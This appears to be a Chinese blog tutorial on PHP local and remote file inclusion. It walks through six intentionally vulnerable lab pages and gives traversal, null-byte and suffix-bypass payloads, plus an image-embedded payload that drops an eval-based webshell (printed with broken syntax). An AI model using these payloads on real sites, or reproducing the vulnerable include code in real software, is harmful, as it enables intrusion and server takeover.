通过PHP函数引入文件
时,传入的文件名没有经过合理的验证
,从而操作了预想之外的文件
,就可能导致意外的文件泄漏
甚至恶意代码注入
。
为了代码更灵活,通常会把被包含的文件设置为变量
,进行动态调用
,从而导致客户端可以调用任意文件
,造成文件包含漏洞
。动态包含的文件路径参数,客户端可控
。web应用对用户的输入没有进行过滤或者严格过滤就带入文件包含函数中执行
函数 | 说明 |
---|---|
include() | 找不到被包含的文件时只产生警告 ,脚本将继续执行 |
include_once() | 此语句和 include() 语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
require() | 找不到被包含的文件时会产生致命错误,并停止脚本 |
require_once() | 此语句和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
其它用于包含的函数:highlightfile()、 showsource()、 readfile()、 filegetcontents()、 fopen()、file()
指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI用户可以 动态控制变量。
$filename = $_GET['filename'];
include($filename);
?>
获取系统中的其他文件内容绝对路径 读取本地 host 文件
payload:?filename=C:\Windows\System32\drivers\etc\hosts
相对路径 读取本地 host 文件
payload:?filename=..\..\..\..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
包含图片马
payload:?filename=./test.jpg
指的是能够包含远程服务器上的文件并执行,可以通过 http(s)或者 ftp 等方式,远程加载文件
条件
allow_url_include = On (默认为 OFF,需要在 php.ini 中手动打开)allow_url_fopen = On (是否允许打开远程文件)用户可以动态控制变量
协议 | php版本 | allow_url_fopen | aloow_url_include | 作用 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | 访问本地文件系统 |
php://input | >=5.2 | off/on | off/on | 访问请求的原始数据的只读流 |
zlib:// | >=5.2 | off/on | off/on | 压缩流 |
data:// | >=5.2 | on | on | 数据(RFC2397) |
php://filter | / | / | / | php://filter/read=convert.base64-encode/resource=flag.php:是php中独有的一种协议,是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤 |
(待补充…)
(点)/(正斜杠)\(反斜杠)
; include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will include the arg specified in the GET parameter \"page\""); ?>
<form action="/LFI-1/index.php" method="GET">
<input type="text" name="page">
</form>
<?php
include($_GET["page"]);
?>
这种情况直接包含一个存在的文件就会被当做php文件执行
利用绝对路径去读c盘下的敏感信息:
?page=c://boot.ini
结合文件上传漏洞打一套组合拳
思路:例如,你进入了某网站的后台,在修改头像处可上传文件,但是图片上传限制了后缀名jpg/png,那你就可以上传一张jpg或者png的图片马,即在图片中写入php木马,然后上传,留意一下上传的图片位置,如果该站还存在文件包含漏洞,那么你就可以通过文件包含刚刚你上传的图片马获取websehll。
?page=../../../../webshell.jpg
和包含的文件类型没有关系,都会被当做php解析。
include("../common/header.php"); ?>
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
<?php hint("will include the arg specified in the GET parameter \"library\", appends .php to end, escape with NULL byte %00"); ?>
<form action="/LFI-2/index.php" method="GET">
<input type="text" name="library">
</form>
<?php
include("includes/".$_GET['library'].".php");
?>
这种情况,如果你包含一个?library=../../../../webshell.php
后台得到的是?library=../../../../webshell.php.php
,显然这样并不能被解析。
这个时候我们就可以用%00截断?library=../../../../webshell.php%00
后台得到的是这样的?library=../../../../webshell.php .php
后面那个.php就会被忽略掉了。
include("../common/header.php"); ?>
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
<?php hint("will include the arg specified in the GET parameter \"file\", looks for .php at end - bypass by apending /. (slash plus dot)"); ?>
<form action="/LFI-3/index.php" method="GET">
<input type="text" name="file">
</form>
<?php
if (substr($_GET['file'], -4, 4) != '.php')
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
读源码,我们可以发现,它多了一个判断,即if (substr($_GET['file'], -4, 4) != '.php')
这句代码的意思是,取文件的后四位,如果不是.php
结尾的就去读取内容,否则输出You are not allowed to see source files!
绕过思路:我们可以在文件名后面加一个点、斜杠或者%00绕过
?file=../../../../webshell.php.
?file=../../../../webshell.php/.
?file=../../../../webshell.php%00
注意:浏览器可能会过滤掉,我们可以用BP
抓包修改。
windows文件名不允许包含这些特殊字符,如果你创建一个test.php.
得到的是一个test.php
后面哪个点会自动抹掉。
include("../common/header.php"); ?>
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
<?php hint("will include the arg specified in the GET parameter \"class\", appends .php to end, defeat with NULL byte %00"); ?>
<form action="/LFI-4/index.php" method="GET">
<input type="text" name="class">
</form>
<?php
include('includes/class_'.addslashes($_GET['class']).'.php');
?>
这里关键在于addslashes
这个函数
定义和用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
意思就是将这些危险字符前面加反斜杠\
转义掉,是一种预防攻击的方法。
文件包含的时候去掉后缀.php
即可
?class=../../../../phpinfo
<!-- from http://hakipedia.com/index.php/Local_File_Inclusion -->
<?php include("../common/header.php"); ?>
<?php hint("will include the arg specified in the GET parameter \"file\", strips prepended \"../\" strings, must encode / with %2f"); ?>
<form action="/LFI-5/index.php" method="GET">
<input type="text" name="file">
</form>
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
通过源码可以看到,他把../
替换成了空,这一句:$file = str_replace('../', '', $_GET['file']);
绕过思路:在两个点之间加../
?file=..././..././..././..././phpinfo.php
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will include the arg specified in the POST parameter \"page\""); ?>
<form action="/LFI-6/index.php" method="POST">
<input type="text" name="page">
</form>
<?php
include($_POST["page"]);
?>
只不过是提交方式方便,绕过思路同GET。
绕过思路:上传点如果上传一张图片,
内容为如下,当我们文件包含tupian.jpg
的时候,会在同一目录下(这里的目录是当前根目录)生成一个shell.php
的文件,内容为一句话木马
fputs(fopen('shell.php' 'w');<?php eval($_POST[cmd])?>');?>
文件包含:
?page=../../../../tupian.jpg
然后菜刀连接。
你有什么补充说明的,欢迎评论区留言讨论!